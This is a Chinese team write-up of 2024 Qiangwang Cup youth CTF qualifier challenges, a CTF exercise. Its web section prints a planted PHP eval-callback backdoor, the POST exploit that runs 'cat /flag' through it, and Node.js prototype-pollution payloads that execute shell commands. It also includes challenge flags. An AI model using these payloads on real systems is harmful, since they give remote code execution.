2024强网杯青少年专项赛初赛团队wp
战绩:rk11
有幸参加线下赛,但是题目忘了,附件也没有留(
Misc
1.签到漫画
看4幅漫画,得到4个1/4二维码,拼接扫描即可。
2.whitepic
查看文件格式为gif
拆帧
flag{passion_is_the_greatest_teacher}
Crypto
1.Classics
CyberChef逆向,根据加密来解密
2.AliceAES
根据题目要求用key和vi的AES加密Hello, Bob!
3.easymath
根据加密写出解密脚本
1 | from Crypto.Util.number import * |
flag{77310934-21fa-4ee4-a783-dc1865ebab28}
Reverse
1.EnterGame
分析main函数,找到加密函数和加密后的flag→s2
分析加密函数
a3为用户输入的flag,a4是加密flag→s2
动调可以提取v16的值,并写异或解密脚本
1 | unsigned char v16[] = |
1 |
|
flag{385915ad-8f32-49d0-94c3-0067f1dad1bd}
2.Flip_over
jadx发现加载了lib,并且对用户输入进行check
来到so文件
发现加密函数
rc4
des加密
最后异或加密
提取数据
丢进赛博厨子
出flag
Web
1.ezGetFlag
网页源码中发现一个backend.php,
点击网页按钮提示
所以使用post方法访问backend.php
即可得到flag
2.ezFindShell
在1de9d9a55a824f4f8b6f37af76596baa.php发现post
存在漏洞代码
1 | $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e)); |
base64_decode($e)的结果作为回调函数,可能导致任意代码执行
构造post:POST=system(“cat /flag”)&e=YXNzZXJ0
3.cyberboard
src中均为js文件,联想到原型链污染
在src中发现admin,登录
在Message.js中的save方法使用JSON.parse解析输入,可以尝试原型链污染
尝试payload:
{"content":"123","__proto__":{"block": {"type":"Text","line":"process.mainModule.require('child_process').exec('whoami')"}}}
发现没有回显,尝试写入文件
payload:
{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require('child_process').execSync('cat /f* > /app/public/aaaaaa.txt')"}}}
访问url/aaaaa.txt
PWN
1.clock_in
查看保护
fgets读取长度远大于s,可以溢出
1 | from pwn import * |